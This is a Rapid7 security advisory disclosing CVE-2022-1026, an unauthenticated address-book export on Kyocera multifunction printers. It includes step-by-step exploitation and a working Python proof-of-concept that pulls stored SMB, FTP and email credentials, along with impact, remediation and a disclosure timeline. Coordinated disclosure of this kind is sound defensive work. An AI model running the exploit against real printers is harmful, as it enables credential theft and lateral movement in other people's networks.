Rapid7 researcher Aaron Herndon has discovered that several models of Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function. This vulnerability is an instance of [CWE-522](): Insufficiently Protected Credentials, and has an estimated base CVSS 3.1 score of [8.6](), given that the credentials exposed are used to authenticate to other endpoints, such as external FTP and SMB servers.

## Product description

Many Kyocera multifunction printers (MFPs) can be administered using [Net Viewer](). Two such supported and tested models of MFPs are the [ECOSYS M2640idw]() and the [TASKalfa 406ci](). These printers can be routinely found in both home office and enterprise environments around the world.

## Credit

This issue, CVE-2022-1026, was discovered by security researcher [Aaron Herndon]() of Rapid7. It is being disclosed in accordance with [Rapid7’s vulnerability disclosure policy]().

## Exploitation

Kyocera exposes a SOAP API on port 9091/TCP used for remote printer management via the Net Viewer thick client application. While the API supports authentication, and the thick client performs this authentication, while capturing the SOAP requests, it was observed that the specific request to extract an address book, `POST /ws/km-wsdl/setting/address_book` does not require an authenticated session to submit. Those address books, in turn, contain stored email addresses, usernames, and passwords, which are normally used to store scanned documents on external services or send to users over email.

### Exploitation details

In order to exploit the vulnerability, an attacker need only be on a network that can reach the MFP’s listening SOAP service on port 9091/TCP. The screenshot below describes submitting an unauthenticated SOAP request to that service, `POST /ws/km-wsdl/setting/address_book` with the described XML.


This instructs the printer to prepare an address book object to be downloaded containing all sensitive data configured in the address book. The printer will respond with an address book enumeration object number, which is ‘5’ in this instance:


Once that object number is received, an attacker can populate the “<ns1:enumeration>” value with that number in a SOAP request, wsa:Action get_personal_address_list, using the same POST endpoint, as shown below.


This will return the printer address book with all configured email addresses, FTP credentials, and network SMB file share credentials stored for user scanning to network shares, in fairly readable XML:


Finally, credentials can be harvested from the provided login_password fields:


### Exploit proof of concept

A proof-of-concept (PoC) Python exploit is shown below. Note the time.sleep(5) call, which allows the printer time to first generate the address book.

PoC Python code:

“””
Kyocera printer exploit
Extracts sensitive data stored in the printer address book, unauthenticated, including:
*email addresses
*SMB file share credentials used to write scan jobs to a network fileshare
*FTP credentials

Author: Aaron Herndon, @ac3lives (Rapid7)
Date: 11/12/2021
Tested versions:
* ECOSYS M2640idw
* TASKalfa 406ci
*

Usage:
python3 getKyoceraCreds.py printerip
“””

import requests
import xmltodict
import warnings
import sys
import time
warnings.filterwarnings(“ignore”)

url = “https://{}:9091/ws/km-wsdl/setting/address_book”.format(sys.argv[1])
headers = {‘content-type’: ‘application/soap+xml’}
# Submit an unauthenticated request to tell the printer that a new address book object creation is required
body = “””https://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration25″””

response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode(‘utf-8’)
#print(strResponse)

parsed = xmltodict.parse(strResponse)
# The SOAP request returns XML with an object ID as an integer stored in kmaddrbook:enumeration. We need this object ID to request the data from the printer.
getNumber = parsed[‘SOAP-ENV:Envelope’][‘SOAP-ENV:Body’][‘kmaddrbook:create_personal_address_enumerationResponse’][‘kmaddrbook:enumeration’]

body = “””https://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list{}”””.format(getNumber)

print(“Obtained address book object: {}. Waiting for book to populate”.format(getNumber))
time.sleep(5)
print(“Submitting request to retrieve the address book object…”)

response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode(‘utf-8’)
#rint(strResponse)

parsed = xmltodict.parse(strResponse)
print(parsed[‘SOAP-ENV:Envelope’][‘SOAP-ENV:Body’])

print(“nnObtained address book. Review the above response for credentials in objects such as ‘login_password’, ‘login_name'”)

## Impact

The most likely attack scenario involving this vulnerability would be an attacker, who is already inside the LAN perimeter, leveraging their ability to communicate directly with affected printers to learn the usernames and passwords to stored SMB and FTP file servers. In the case of SMB credentials, those might then be leveraged to establish a presence in the target networks’ Windows domain.

Depending on how those external services are administered, the attacker may also be able to collect prior (and future) print/scan jobs originating from the targeted printer, but the primary value of this vulnerability is lateral movement within the network. Note that printer credentials are not themselves at risk (except in the case of reused passwords, of course), but credentials to services the printer is normally expected to store scanned documents are exposed via this vulnerability.

## Remediation

First and foremost, MFPs should under no circumstance be able to be reached directly across the internet. While this is true for most LAN-centric technologies, this is especially true for printers and scanners, which are popular targets for opportunistic attackers. These devices tend to only support weak authentication mechanisms, even in the best of cases, and are rarely kept up to date with firmware updates to address security issues. So, as long as only trusted users can reach these networked printers, the opportunity for attack is limited only to insiders and attackers who have otherwise managed to already establish a local network presence.

At the time of this disclosure, there is no patch or updated firmware available for affected devices. The version information displayed on a vulnerable [ECOSYS M2640idw]() device is shown as below, and we believe the proper version number for this software is the middle version listed, “2S0_1000.005.0012S5_2000.002.505.”


In light of the lack of patching, Kyocera customers are advised to disable the SOAP interface running on port 9091/TCP of affected MFPs. Details on precisely how to disable this service can be found in the documentation relevant to the specific MFP model. If SOAP access is required over the network for normal operation, users should ensure that address books do not contain sensitive, unchanging passwords.

One possible configuration that would make this vulnerability moot would be to only allow public, anonymous FTP or SMB write access (but not read access) for scanned document storage, and another process to move those documents securely across the network to their final destination. The exposure of email addresses would remain, but this is of considerably less value to most attackers.

## Disclosure timeline

* **Nov 2021:** Issue identified by Aaron Herndon of Rapid7
* **Tue Nov 16, 2021:** Contacted Kyocera’s primary support and other-support
* Received auto-reply from [[email protected]]()
* **Fri Nov 19, 2021:** Opened case number: CS211119002 with Kyocera support
* **Mon Nov 22, 2021:** Released details to the vendor
* **Fri Jan 7, 2022:** Opened JPCERT/CC case number JVNVU#96890480
* Discovered a more reliable security-specific contact at Kyocera
* **Wed Jan 19, 2022:** Extended disclosure deadline to mid-March, 2022
* **Jan-Mar 2022:** Communication about workarounds and other mitigations
* **Fri Mar 18, 2022:** CVE-2022-1026 reserved
* **Tue Mar 29, 2022:** Public disclosure (this document)

**_Additional reading:_**

* _[Analyzing the Attack Landscape: Rapid7’s 2021 Vulnerability Intelligence Report]()_
* _[Cloud Pentesting, Pt. 1: Breaking Down the Basics]()_
* _[CVE-2021-4191: GitLab GraphQL API User Enumeration (FIXED)]()_
* _[Dropping Files on a Domain Controller Using CVE-2021-43893]()_

#### NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

SubscribeRead More